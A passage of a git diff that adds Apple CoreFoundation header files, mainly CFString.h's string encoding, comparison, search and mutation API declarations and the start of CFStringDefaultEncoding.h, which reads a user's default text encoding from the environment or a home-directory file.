/* May return NULL at any time; be prepared for NULL */ + +CF_EXPORT +const char *CFStringGetCStringPtr(CFStringRef theString, CFStringEncoding encoding); /* May return NULL at any time; be prepared for NULL */ + +CF_EXPORT +const UniChar *CFStringGetCharactersPtr(CFStringRef theString); /* May return NULL at any time; be prepared for NULL */ + +/* The primitive conversion routine; allows you to convert a string piece at a time + into a fixed size buffer. Returns number of characters converted. + Characters that cannot be converted to the specified encoding are represented + with the byte specified by lossByte; if lossByte is 0, then lossy conversion + is not allowed and conversion stops, returning partial results. + Pass buffer==NULL if you don't care about the converted string (but just the convertability, + or number of bytes required). + maxBufLength indicates the maximum number of bytes to generate. It is ignored when buffer==NULL. + Does not zero-terminate. If you want to create Pascal or C string, allow one extra byte at start or end. + Setting isExternalRepresentation causes any extra bytes that would allow + the data to be made persistent to be included; for instance, the Unicode BOM. +*/ +CF_EXPORT +CFIndex CFStringGetBytes(CFStringRef theString, CFRange range, CFStringEncoding encoding, UInt8 lossByte, Boolean isExternalRepresentation, UInt8 *buffer, CFIndex maxBufLen, CFIndex *usedBufLen); + +/* Convenience functions String <-> Data. These generate "external" formats, that is, formats that + can be written out to disk. For instance, if the encoding is Unicode, CFStringCreateFromExternalRepresentation() + pays attention to the BOM character (if any) and does byte swapping if necessary. + Similarly CFStringCreateExternalRepresentation() will always include a BOM character if the encoding is + Unicode. See above for description of lossByte. +*/ +CF_EXPORT +CFStringRef CFStringCreateFromExternalRepresentation(CFAllocatorRef alloc, CFDataRef data, CFStringEncoding encoding); /* May return NULL on conversion error */ + +CF_EXPORT +CFDataRef CFStringCreateExternalRepresentation(CFAllocatorRef alloc, CFStringRef theString, CFStringEncoding encoding, UInt8 lossByte); /* May return NULL on conversion error */ + +/* Hints about the contents of a string +*/ +CF_EXPORT +CFStringEncoding CFStringGetSmallestEncoding(CFStringRef theString); /* Result in O(n) time max */ + +CF_EXPORT +CFStringEncoding CFStringGetFastestEncoding(CFStringRef theString); /* Result in O(1) time max */ + +/* General encoding info +*/ +CF_EXPORT +CFStringEncoding CFStringGetSystemEncoding(void); /* The default encoding for the system; untagged 8-bit characters are usually in this encoding */ + +CF_EXPORT +CFIndex CFStringGetMaximumSizeForEncoding(CFIndex length, CFStringEncoding encoding); /* Max bytes a string of specified length (in UniChars) will take up if encoded */ + + +/*** FileSystem path conversion functions ***/ + +/* Extract the contents of the string as a NULL-terminated 8-bit string appropriate for passing to POSIX APIs (for example, normalized for HFS+). The string is zero-terminated. false will be returned if the conversion results don't fit into the buffer. Use CFStringGetMaximumSizeOfFileSystemRepresentation() if you want to make sure the buffer is of sufficient length. +*/ +CF_EXPORT +Boolean CFStringGetFileSystemRepresentation(CFStringRef string, char *buffer, CFIndex maxBufLen) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/* Get the upper bound on the number of bytes required to hold the file system representation for the string. This result is returned quickly as a very rough approximation, and could be much larger than the actual space required. The result includes space for the zero termination. If you are allocating a buffer for long-term keeping, it's recommended that you reallocate it smaller (to be the right size) after calling CFStringGetFileSystemRepresentation(). +*/ +CF_EXPORT +CFIndex CFStringGetMaximumSizeOfFileSystemRepresentation(CFStringRef string) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/* Create a CFString from the specified zero-terminated POSIX file system representation. If the conversion fails (possible due to bytes in the buffer not being a valid sequence of bytes for the appropriate character encoding), NULL is returned. +*/ +CF_EXPORT +CFStringRef CFStringCreateWithFileSystemRepresentation(CFAllocatorRef alloc, const char *buffer) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + + +/*** Comparison functions. ***/ + +/* Find and compare flags; these are OR'ed together as compareOptions or searchOptions in the various functions. + This typedef doesn't appear in the functions; instead the argument is CFOptionFlags. +*/ +enum { + kCFCompareCaseInsensitive = 1, + kCFCompareBackwards = 4, /* Starting from the end of the string */ + kCFCompareAnchored = 8, /* Only at the specified starting point */ + kCFCompareNonliteral = 16, /* If specified, loose equivalence is performed (o-umlaut == o, umlaut) */ + kCFCompareLocalized = 32, /* User's default locale is used for the comparisons */ + kCFCompareNumerically = 64 /* Numeric comparison is used; that is, Foo2.txt < Foo7.txt < Foo25.txt */ +#if MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED + , + kCFCompareDiacriticInsensitive = 128, /* If specified, ignores diacritics (o-umlaut == o) */ + kCFCompareWidthInsensitive = 256, /* If specified, ignores width differences ('a' == UFF41) */ + kCFCompareForcedOrdering = 512 /* If specified, comparisons are forced to return either kCFCompareLessThan or kCFCompareGreaterThan if the strings are equivalent but not strictly equal, for stability when sorting (e.g. "aaa" > "AAA" with kCFCompareCaseInsensitive specified) */ +#endif /* MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED */ +}; +typedef CFOptionFlags CFStringCompareFlags; + +/* The main comparison routine; compares specified range of the first string to (the full range of) the second string. +locale == NULL indicates canonical locale (the return value from CFLocaleGetSystem()). +kCFCompareNumerically, added in 10.2, does not work if kCFCompareLocalized is specified on systems before 10.3 +kCFCompareBackwards and kCFCompareAnchored are not applicable. +*/ +#if MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED +CF_EXPORT +CFComparisonResult CFStringCompareWithOptionsAndLocale(CFStringRef theString1, CFStringRef theString2, CFRange rangeToCompare, CFOptionFlags compareOptions, CFLocaleRef locale) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; +#endif /* MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED */ + +/* Comparison convenience. Uses the current user locale (the return value from CFLocaleCopyCurrent()) if kCFCompareLocalized. +*/ +CF_EXPORT +CFComparisonResult CFStringCompareWithOptions(CFStringRef theString1, CFStringRef theString2, CFRange rangeToCompare, CFOptionFlags compareOptions); + +/* Comparison convenience suitable for passing as sorting functions. + kCFCompareNumerically, added in 10.2, does not work if kCFCompareLocalized is specified on systems before 10.3 + kCFCompareBackwards and kCFCompareAnchored are not applicable. +*/ +CF_EXPORT +CFComparisonResult CFStringCompare(CFStringRef theString1, CFStringRef theString2, CFOptionFlags compareOptions); + +/* CFStringFindWithOptionsAndLocale() returns the found range in the CFRange * argument; you can pass NULL for simple discovery check. + locale == NULL indicates canonical locale (the return value from CFLocaleGetSystem()). + If stringToFind is the empty string (zero length), nothing is found. + Ignores the kCFCompareNumerically option. +*/ +#if MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED +CF_EXPORT +Boolean CFStringFindWithOptionsAndLocale(CFStringRef theString, CFStringRef stringToFind, CFRange rangeToSearch, CFOptionFlags searchOptions, CFLocaleRef locale, CFRange *result) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; +#endif /* MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED */ + +/* Find convenience. Uses the current user locale (the return value from CFLocaleCopyCurrent()) if kCFCompareLocalized. +*/ +CF_EXPORT +Boolean CFStringFindWithOptions(CFStringRef theString, CFStringRef stringToFind, CFRange rangeToSearch, CFOptionFlags searchOptions, CFRange *result); + +/* CFStringCreateArrayWithFindResults() returns an array of CFRange pointers, or NULL if there are no matches. + Overlapping instances are not found; so looking for "AA" in "AAA" finds just one range. + Post 10.1: If kCFCompareBackwards is provided, the scan is done from the end (which can give a different result), and + the results are stored in the array backwards (last found range in slot 0). + If stringToFind is the empty string (zero length), nothing is found. + kCFCompareAnchored causes just the consecutive instances at start (or end, if kCFCompareBackwards) to be reported. So, searching for "AB" in "ABABXAB..." you just get the first two occurrences. + Ignores the kCFCompareNumerically option. +*/ +CF_EXPORT +CFArrayRef CFStringCreateArrayWithFindResults(CFAllocatorRef alloc, CFStringRef theString, CFStringRef stringToFind, CFRange rangeToSearch, CFOptionFlags compareOptions); + +/* Find conveniences; see comments above concerning empty string and options. +*/ +CF_EXPORT +CFRange CFStringFind(CFStringRef theString, CFStringRef stringToFind, CFOptionFlags compareOptions); + +CF_EXPORT +Boolean CFStringHasPrefix(CFStringRef theString, CFStringRef prefix); + +CF_EXPORT +Boolean CFStringHasSuffix(CFStringRef theString, CFStringRef suffix); + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +/*! + @function CFStringGetRangeOfComposedCharactersAtIndex + Returns the range of the composed character sequence at the specified index. + @param theString The CFString which is to be searched. If this + parameter is not a valid CFString, the behavior is + undefined. + @param theIndex The index of the character contained in the + composed character sequence. If the index is + outside the index space of the string (0 to N-1 inclusive, + where N is the length of the string), the behavior is + undefined. + @result The range of the composed character sequence. +*/ +CF_EXPORT CFRange CFStringGetRangeOfComposedCharactersAtIndex(CFStringRef theString, CFIndex theIndex); + +/*! + @function CFStringFindCharacterFromSet + Query the range of the first character contained in the specified character set. + @param theString The CFString which is to be searched. If this + parameter is not a valid CFString, the behavior is + undefined. + @param theSet The CFCharacterSet against which the membership + of characters is checked. If this parameter is not a valid + CFCharacterSet, the behavior is undefined. + @param range The range of characters within the string to search. If + the range location or end point (defined by the location + plus length minus 1) are outside the index space of the + string (0 to N-1 inclusive, where N is the length of the + string), the behavior is undefined. If the range length is + negative, the behavior is undefined. The range may be empty + (length 0), in which case no search is performed. + @param searchOptions The bitwise-or'ed option flags to control + the search behavior. The supported options are + kCFCompareBackwards andkCFCompareAnchored. + If other option flags are specified, the behavior + is undefined. + @param result The pointer to a CFRange supplied by the caller in + which the search result is stored. Note that the length + of this range can be more than 1, if for instance the + result is a composed character. If a pointer to an invalid + memory is specified, the behavior is undefined. + @result true, if at least a character which is a member of the character + set is found and result is filled, otherwise, false. +*/ +CF_EXPORT Boolean CFStringFindCharacterFromSet(CFStringRef theString, CFCharacterSetRef theSet, CFRange rangeToSearch, CFOptionFlags searchOptions, CFRange *result); +#endif + +/* Find range of bounds of the line(s) that span the indicated range (startIndex, numChars), + taking into account various possible line separator sequences (CR, CRLF, LF, and Unicode NextLine, LineSeparator, ParagraphSeparator). + All return values are "optional" (provide NULL if you don't want them) + lineBeginIndex: index of first character in line + lineEndIndex: index of first character of the next line (including terminating line separator characters) + contentsEndIndex: index of the first line separator character + Thus, lineEndIndex - lineBeginIndex is the number of chars in the line, including the line separators + contentsEndIndex - lineBeginIndex is the number of chars in the line w/out the line separators +*/ +CF_EXPORT +void CFStringGetLineBounds(CFStringRef theString, CFRange range, CFIndex *lineBeginIndex, CFIndex *lineEndIndex, CFIndex *contentsEndIndex); + +/* Same as CFStringGetLineBounds(), however, will only look for paragraphs. Won't stop at Unicode NextLine or LineSeparator characters. +*/ +CF_EXPORT +void CFStringGetParagraphBounds(CFStringRef string, CFRange range, CFIndex *parBeginIndex, CFIndex *parEndIndex, CFIndex *contentsEndIndex) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/*** Exploding and joining strings with a separator string ***/ + +CF_EXPORT +CFStringRef CFStringCreateByCombiningStrings(CFAllocatorRef alloc, CFArrayRef theArray, CFStringRef separatorString); /* Empty array returns empty string; one element array returns the element */ + +CF_EXPORT +CFArrayRef CFStringCreateArrayBySeparatingStrings(CFAllocatorRef alloc, CFStringRef theString, CFStringRef separatorString); /* No separators in the string returns array with that string; string == sep returns two empty strings */ + + +/*** Parsing non-localized numbers from strings ***/ + +CF_EXPORT +SInt32 CFStringGetIntValue(CFStringRef str); /* Skips whitespace; returns 0 on error, MAX or -MAX on overflow */ + +CF_EXPORT +double CFStringGetDoubleValue(CFStringRef str); /* Skips whitespace; returns 0.0 on error */ + + +/*** MutableString functions ***/ + +/* CFStringAppend("abcdef", "xxxxx") -> "abcdefxxxxx" + CFStringDelete("abcdef", CFRangeMake(2, 3)) -> "abf" + CFStringReplace("abcdef", CFRangeMake(2, 3), "xxxxx") -> "abxxxxxf" + CFStringReplaceAll("abcdef", "xxxxx") -> "xxxxx" +*/ +CF_EXPORT +void CFStringAppend(CFMutableStringRef theString, CFStringRef appendedString); + +CF_EXPORT +void CFStringAppendCharacters(CFMutableStringRef theString, const UniChar *chars, CFIndex numChars); + +CF_EXPORT +void CFStringAppendPascalString(CFMutableStringRef theString, ConstStr255Param pStr, CFStringEncoding encoding); + +CF_EXPORT +void CFStringAppendCString(CFMutableStringRef theString, const char *cStr, CFStringEncoding encoding); + +CF_EXPORT +void CFStringAppendFormat(CFMutableStringRef theString, CFDictionaryRef formatOptions, CFStringRef format, ...); + +CF_EXPORT +void CFStringAppendFormatAndArguments(CFMutableStringRef theString, CFDictionaryRef formatOptions, CFStringRef format, va_list arguments); + +CF_EXPORT +void CFStringInsert(CFMutableStringRef str, CFIndex idx, CFStringRef insertedStr); + +CF_EXPORT +void CFStringDelete(CFMutableStringRef theString, CFRange range); + +CF_EXPORT +void CFStringReplace(CFMutableStringRef theString, CFRange range, CFStringRef replacement); + +CF_EXPORT +void CFStringReplaceAll(CFMutableStringRef theString, CFStringRef replacement); /* Replaces whole string */ + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +/* Replace all occurrences of target in rangeToSearch of theString with replacement. + Pays attention to kCFCompareCaseInsensitive, kCFCompareBackwards, kCFCompareNonliteral, and kCFCompareAnchored. + kCFCompareBackwards can be used to do the replacement starting from the end, which could give a different result. + ex. AAAAA, replace AA with B -> BBA or ABB; latter if kCFCompareBackwards + kCFCompareAnchored assures only anchored but multiple instances are found (the instances must be consecutive at start or end) + ex. AAXAA, replace A with B -> BBXBB or BBXAA; latter if kCFCompareAnchored + Returns number of replacements performed. +*/ +CF_EXPORT +CFIndex CFStringFindAndReplace(CFMutableStringRef theString, CFStringRef stringToFind, CFStringRef replacementString, CFRange rangeToSearch, CFOptionFlags compareOptions); + +#endif + +/* This function will make the contents of a mutable CFString point directly at the specified UniChar array. + It works only with CFStrings created with CFStringCreateMutableWithExternalCharactersNoCopy(). + This function does not free the previous buffer. + The string will be manipulated within the provided buffer (if any) until it outgrows capacity; then the + externalCharactersAllocator will be consulted for more memory. + See comments at the top of this file for more info. +*/ +CF_EXPORT +void CFStringSetExternalCharactersNoCopy(CFMutableStringRef theString, UniChar *chars, CFIndex length, CFIndex capacity); /* Works only on specially created mutable strings! */ + +/* CFStringPad() will pad or cut down a string to the specified size. + The pad string is used as the fill string; indexIntoPad specifies which character to start with. + CFStringPad("abc", " ", 9, 0) -> "abc " + CFStringPad("abc", ". ", 9, 1) -> "abc . . ." + CFStringPad("abcdef", ?, 3, ?) -> "abc" + + CFStringTrim() will trim the specified string from both ends of the string. + CFStringTrimWhitespace() will do the same with white space characters (tab, newline, etc) + CFStringTrim(" abc ", " ") -> "abc" + CFStringTrim("* * * *abc * ", "* ") -> "*abc " +*/ +CF_EXPORT +void CFStringPad(CFMutableStringRef theString, CFStringRef padString, CFIndex length, CFIndex indexIntoPad); + +CF_EXPORT +void CFStringTrim(CFMutableStringRef theString, CFStringRef trimString); + +CF_EXPORT +void CFStringTrimWhitespace(CFMutableStringRef theString); + +#if MAC_OS_X_VERSION_10_3 <= MAC_OS_X_VERSION_MAX_ALLOWED +CF_EXPORT +void CFStringLowercase(CFMutableStringRef theString, CFLocaleRef locale); + +CF_EXPORT +void CFStringUppercase(CFMutableStringRef theString, CFLocaleRef locale); + +CF_EXPORT +void CFStringCapitalize(CFMutableStringRef theString, CFLocaleRef locale); +#else +CF_EXPORT +void CFStringLowercase(CFMutableStringRef theString, const void *localeTBD); // localeTBD must be NULL on pre-10.3 + +CF_EXPORT +void CFStringUppercase(CFMutableStringRef theString, const void *localeTBD); // localeTBD must be NULL on pre-10.3 + +CF_EXPORT +void CFStringCapitalize(CFMutableStringRef theString, const void *localeTBD); // localeTBD must be NULL on pre-10.3 +#endif + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED +/*! + @typedef CFStringNormalizationForm + This is the type of Unicode normalization forms as described in + Unicode Technical Report #15. To normalize for use with file + system calls, use CFStringGetFileSystemRepresentation(). +*/ +enum { + kCFStringNormalizationFormD = 0, // Canonical Decomposition + kCFStringNormalizationFormKD, // Compatibility Decomposition + kCFStringNormalizationFormC, // Canonical Decomposition followed by Canonical Composition + kCFStringNormalizationFormKC // Compatibility Decomposition followed by Canonical Composition +}; +typedef CFIndex CFStringNormalizationForm; + +/*! + @function CFStringNormalize + Normalizes the string into the specified form as described in + Unicode Technical Report #15. + @param theString The string which is to be normalized. If this + parameter is not a valid mutable CFString, the behavior is + undefined. + @param theForm The form into which the string is to be normalized. + If this parameter is not a valid CFStringNormalizationForm value, + the behavior is undefined. +*/ +CF_EXPORT void CFStringNormalize(CFMutableStringRef theString, CFStringNormalizationForm theForm); +#endif + +#if MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED +/*! + @function CFStringFold + Folds the string into the form specified by the flags. + Character foldings are operations that convert any of a set of characters + sharing similar semantics into a single representative from that set. + This function can be used to preprocess strings that are to be compared, + searched, or indexed. + Note that folding does not include normalization, so it is necessary + to use CFStringNormalize in addition to CFStringFold in order to obtain + the effect of kCFCompareNonliteral. + @param theString The string which is to be folded. If this parameter is not + a valid mutable CFString, the behavior is undefined. + @param theFlag The equivalency flags which describes the character folding form. + Only those flags containing the word "insensitive" are recognized here; other flags are ignored. + Folding with kCFCompareCaseInsensitive removes case distinctions in accordance with the mapping + specified by ftp://ftp.unicode.org/Public/UNIDATA/CaseFolding.txt. Folding with + kCFCompareDiacriticInsensitive removes distinctions of accents and other diacritics. Folding + with kCFCompareWidthInsensitive removes character width distinctions by mapping characters in + the range U+FF00-U+FFEF to their ordinary equivalents. + @param theLocale The locale tailoring the character folding behavior. If NULL, + it's considered to be the system locale returned from CFLocaleGetSystem(). + If non-NULL and not a valid CFLocale object, the behavior is undefined. +*/ + +CF_EXPORT +void CFStringFold(CFMutableStringRef theString, CFOptionFlags theFlags, CFLocaleRef theLocale) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; +#endif /* MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED */ + +/* Perform string transliteration. The transformation represented by transform is applied to the given range of string, modifying it in place. Only the specified range will be modified, but the transform may look at portions of the string outside that range for context. NULL range pointer causes the whole string to be transformed. On return, range is modified to reflect the new range corresponding to the original range. reverse indicates that the inverse transform should be used instead, if it exists. If the transform is successful, true is returned; if unsuccessful, false. Reasons for the transform being unsuccessful include an invalid transform identifier, or attempting to reverse an irreversible transform. + +You can pass one of the predefined transforms below, or any valid ICU transform ID as defined in the ICU User Guide. Note that we do not support arbitrary set of ICU transform rules. +*/ +Boolean CFStringTransform(CFMutableStringRef string, CFRange *range, CFStringRef transform, Boolean reverse) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + +/* Transform identifiers for CFStringTransform() +*/ +CF_EXPORT const CFStringRef kCFStringTransformStripCombiningMarks AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformToLatin AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformFullwidthHalfwidth AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformLatinKatakana AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformLatinHiragana AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformHiraganaKatakana AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformMandarinLatin AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformLatinHangul AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformLatinArabic AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformLatinHebrew AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformLatinThai AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformLatinCyrillic AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformLatinGreek AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformToXMLHex AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformToUnicodeName AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; +CF_EXPORT const CFStringRef kCFStringTransformStripDiacritics AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + + +/*** General encoding related functionality ***/ + +/* This returns availability of the encoding on the system +*/ +CF_EXPORT +Boolean CFStringIsEncodingAvailable(CFStringEncoding encoding); + +/* This function returns list of available encodings. The returned list is terminated with kCFStringEncodingInvalidId and owned by the system. +*/ +CF_EXPORT +const CFStringEncoding *CFStringGetListOfAvailableEncodings(void); + +/* Returns name of the encoding; non-localized. +*/ +CF_EXPORT +CFStringRef CFStringGetNameOfEncoding(CFStringEncoding encoding); + +/* ID mapping functions from/to Cocoa NSStringEncoding. Returns kCFStringEncodingInvalidId if no mapping exists. +*/ +CF_EXPORT +unsigned long CFStringConvertEncodingToNSStringEncoding(CFStringEncoding encoding); + +CF_EXPORT +CFStringEncoding CFStringConvertNSStringEncodingToEncoding(unsigned long encoding); + +/* ID mapping functions from/to Microsoft Windows codepage (covers both OEM & ANSI). Returns kCFStringEncodingInvalidId if no mapping exists. +*/ +CF_EXPORT +UInt32 CFStringConvertEncodingToWindowsCodepage(CFStringEncoding encoding); + +CF_EXPORT +CFStringEncoding CFStringConvertWindowsCodepageToEncoding(UInt32 codepage); + +/* ID mapping functions from/to IANA registery charset names. Returns kCFStringEncodingInvalidId if no mapping exists. +*/ +CF_EXPORT +CFStringEncoding CFStringConvertIANACharSetNameToEncoding(CFStringRef theString); + +CF_EXPORT +CFStringRef CFStringConvertEncodingToIANACharSetName(CFStringEncoding encoding); + +/* Returns the most compatible MacOS script value for the input encoding */ +/* i.e. kCFStringEncodingMacRoman -> kCFStringEncodingMacRoman */ +/* kCFStringEncodingWindowsLatin1 -> kCFStringEncodingMacRoman */ +/* kCFStringEncodingISO_2022_JP -> kCFStringEncodingMacJapanese */ +CF_EXPORT +CFStringEncoding CFStringGetMostCompatibleMacStringEncoding(CFStringEncoding encoding); + + + +/* The next two functions allow fast access to the contents of a string, + assuming you are doing sequential or localized accesses. To use, call + CFStringInitInlineBuffer() with a CFStringInlineBuffer (on the stack, say), + and a range in the string to look at. Then call CFStringGetCharacterFromInlineBuffer() + as many times as you want, with a index into that range (relative to the start + of that range). These are INLINE functions and will end up calling CFString only + once in a while, to fill a buffer. CFStringGetCharacterFromInlineBuffer() returns 0 if + a location outside the original range is specified. +*/ +#define __kCFStringInlineBufferLength 64 +typedef struct { + UniChar buffer[__kCFStringInlineBufferLength]; + CFStringRef theString; + const UniChar *directBuffer; + CFRange rangeToBuffer; /* Range in string to buffer */ + CFIndex bufferedRangeStart; /* Start of range currently buffered (relative to rangeToBuffer.location) */ + CFIndex bufferedRangeEnd; /* bufferedRangeStart + number of chars actually buffered */ +} CFStringInlineBuffer; + +#if defined(CF_INLINE) +CF_INLINE void CFStringInitInlineBuffer(CFStringRef str, CFStringInlineBuffer *buf, CFRange range) { + buf->theString = str; + buf->rangeToBuffer = range; + buf->directBuffer = CFStringGetCharactersPtr(str); + buf->bufferedRangeStart = buf->bufferedRangeEnd = 0; +} + +CF_INLINE UniChar CFStringGetCharacterFromInlineBuffer(CFStringInlineBuffer *buf, CFIndex idx) { + if (buf->directBuffer) { + if (idx < 0 || idx >= buf->rangeToBuffer.length) return 0; + return buf->directBuffer[idx + buf->rangeToBuffer.location]; + } + if (idx >= buf->bufferedRangeEnd || idx < buf->bufferedRangeStart) { + if (idx < 0 || idx >= buf->rangeToBuffer.length) return 0; + if ((buf->bufferedRangeStart = idx - 4) < 0) buf->bufferedRangeStart = 0; + buf->bufferedRangeEnd = buf->bufferedRangeStart + __kCFStringInlineBufferLength; + if (buf->bufferedRangeEnd > buf->rangeToBuffer.length) buf->bufferedRangeEnd = buf->rangeToBuffer.length; + CFStringGetCharacters(buf->theString, CFRangeMake(buf->rangeToBuffer.location + buf->bufferedRangeStart, buf->bufferedRangeEnd - buf->bufferedRangeStart), buf->buffer); + } + return buf->buffer[idx - buf->bufferedRangeStart]; +} + +#else +/* If INLINE functions are not available, we do somewhat less powerful macros that work similarly (except be aware that the buf argument is evaluated multiple times). +*/ +#define CFStringInitInlineBuffer(str, buf, range) \ + do {(buf)->theString = str; (buf)->rangeToBuffer = range; (buf)->directBuffer = CFStringGetCharactersPtr(str);} while (0) + +#define CFStringGetCharacterFromInlineBuffer(buf, idx) \ + (((idx) < 0 || (idx) >= (buf)->rangeToBuffer.length) ? 0 : ((buf)->directBuffer ? (buf)->directBuffer[(idx) + (buf)->rangeToBuffer.location] : CFStringGetCharacterAtIndex((buf)->theString, (idx) + (buf)->rangeToBuffer.location))) + +#endif /* CF_INLINE */ + + + + + +/* Rest of the stuff in this file is private and should not be used directly +*/ +/* For debugging only + Use CFShow() to printf the description of any CFType; + Use CFShowStr() to printf detailed info about a CFString +*/ +CF_EXPORT +void CFShow(CFTypeRef obj); + +CF_EXPORT +void CFShowStr(CFStringRef str); + +/* This function is private and should not be used directly */ +CF_EXPORT +CFStringRef __CFStringMakeConstantString(const char *cStr); /* Private; do not use */ + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSTRING__ */ + diff --git a/winstuff/CoreFoundation/CFStringDefaultEncoding.h b/winstuff/CoreFoundation/CFStringDefaultEncoding.h new file mode 100644 index 0000000..ad5c28a --- /dev/null +++ b/winstuff/CoreFoundation/CFStringDefaultEncoding.h @@ -0,0 +1,241 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFStringDefaultEncoding.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFSTRINGDEFAULTENCODING__) +#define __COREFOUNDATION_CFSTRINGDEFAULTENCODING__ 1 + +/* This file defines static inline functions used both by CarbonCore & CF. */ + +#include + +#if defined(__MACH__) +#include +#include +#include +#include +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +#define __kCFUserEncodingEnvVariableName ("__CF_USER_TEXT_ENCODING") +#define __kCFMaxDefaultEncodingFileLength (24) +#define __kCFUserEncodingFileName ("/.CFUserTextEncoding") + +/* This function is used to obtain users' default script/region code. + The function first looks at environment variable __kCFUserEncodingEnvVariableName, then, reads the configuration file in user's home directory. +*/ +CF_INLINE void __CFStringGetUserDefaultEncoding(UInt32 *oScriptValue, UInt32 *oRegionValue) { + char *stringValue; + char buffer[__kCFMaxDefaultEncodingFileLength]; + int uid = getuid(); + + if ((stringValue = getenv(__kCFUserEncodingEnvVariableName)) != NULL) { + if ((uid == strtol_l(stringValue, &stringValue, 0, NULL)) && (':' == *stringValue)) { + ++stringValue; + } else { + stringValue = NULL; + } + } + + if ((stringValue == NULL) && ((uid > 0) || getenv("HOME"))) { + struct passwd *passwdp; + + if ((passwdp = getpwuid((uid_t)uid))) { + char filename[MAXPATHLEN + 1]; + + const char *path = NULL; + if (!issetugid()) { + path = getenv("CFFIXED_USER_HOME"); + } + if (!path) { + path = passwdp->pw_dir; + } + + strlcpy(filename, path, sizeof(filename)); + strlcat(filename, __kCFUserEncodingFileName, sizeof(filename)); + + int no_hang_fd = open("/dev/autofs_nowait", 0); + int fd = open(filename, O_RDONLY, 0); + if (fd == -1) { + // Cannot open the file. Let's fallback to smRoman/verUS + snprintf(filename, sizeof(filename), "0x%X:0:0", uid); + setenv(__kCFUserEncodingEnvVariableName, filename, 1); + } else { + int readSize; + + // cjk: We do not turn on F_NOCACHE on the fd here, because + // many processes read this file on startup, and caching the + // is probably a good thing, for the system as a whole. + readSize = read(fd, buffer, __kCFMaxDefaultEncodingFileLength - 1); + buffer[(readSize < 0 ? 0 : readSize)] = '\0'; + close(fd); + stringValue = buffer; + + // Well, we already have a buffer, let's reuse it + snprintf(filename, sizeof(filename), "0x%X:%s", uid, buffer); + setenv(__kCFUserEncodingEnvVariableName, filename, 1); + } + close(no_hang_fd); + } + } + + if (stringValue) { + *oScriptValue = strtol_l(stringValue, &stringValue, 0, NULL); + if (*stringValue == ':') { + if (oRegionValue) *oRegionValue = strtol_l(++stringValue, NULL, 0, NULL); + return; + } + } + + // Falling back + *oScriptValue = 0; // smRoman + if (oRegionValue) *oRegionValue = 0; // verUS +} + +CF_INLINE uint32_t __CFStringGetInstallationRegion() { + char *stringValue = NULL; + char buffer[__kCFMaxDefaultEncodingFileLength]; + struct passwd *passwdp; + + if ((passwdp = 